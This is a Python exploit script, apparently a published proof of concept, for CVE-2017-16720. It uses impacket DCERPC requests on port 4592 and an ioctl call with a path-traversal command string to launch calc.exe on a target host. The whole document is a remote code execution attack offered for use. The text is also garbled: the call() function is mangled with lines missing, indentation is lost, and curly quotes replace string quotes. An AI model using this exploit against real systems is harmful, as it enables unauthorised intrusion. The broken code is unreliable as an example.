# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16720
# See Also:

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):, stubdata)
res = -1
res = dce.recv()
except Exception, e:
print “Exception encountered…” + str(e)
return res

if len(sys.argv) != 2:
print “Provide only host arg”

port = 4592
interface = “5d2b62aa-ee0a-4a95-91ae-b064fdb471fc”
version = “1.0”

host = sys.argv[1]

string_binding = “ncacn_ip_tcp:%s” % host
trans = transport.DCERPCTransportFactory(string_binding)

dce = trans.get_dce_rpc()

print “Binding…”
iid = uuid.uuidtup_to_bin((interface, version))

print “…1”
stubdata = struct.pack(“<III”, 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print “…2”
stubdata = struct.pack(“<I”, 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print “Something went wrong”
res = struct.unpack(“III”, res)

if (len(res) < 3):
print “Received unexpected length value”

print “…3”
# ioctl 0x2711
stubdata = struct.pack(“<IIII”, res[2], 0x2711, 0x204, 0x204)
command = “..\\..\\windows\\system32\\calc.exe”
fmt = “<” + str(0x204) + “s”
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print “\nDid it work?”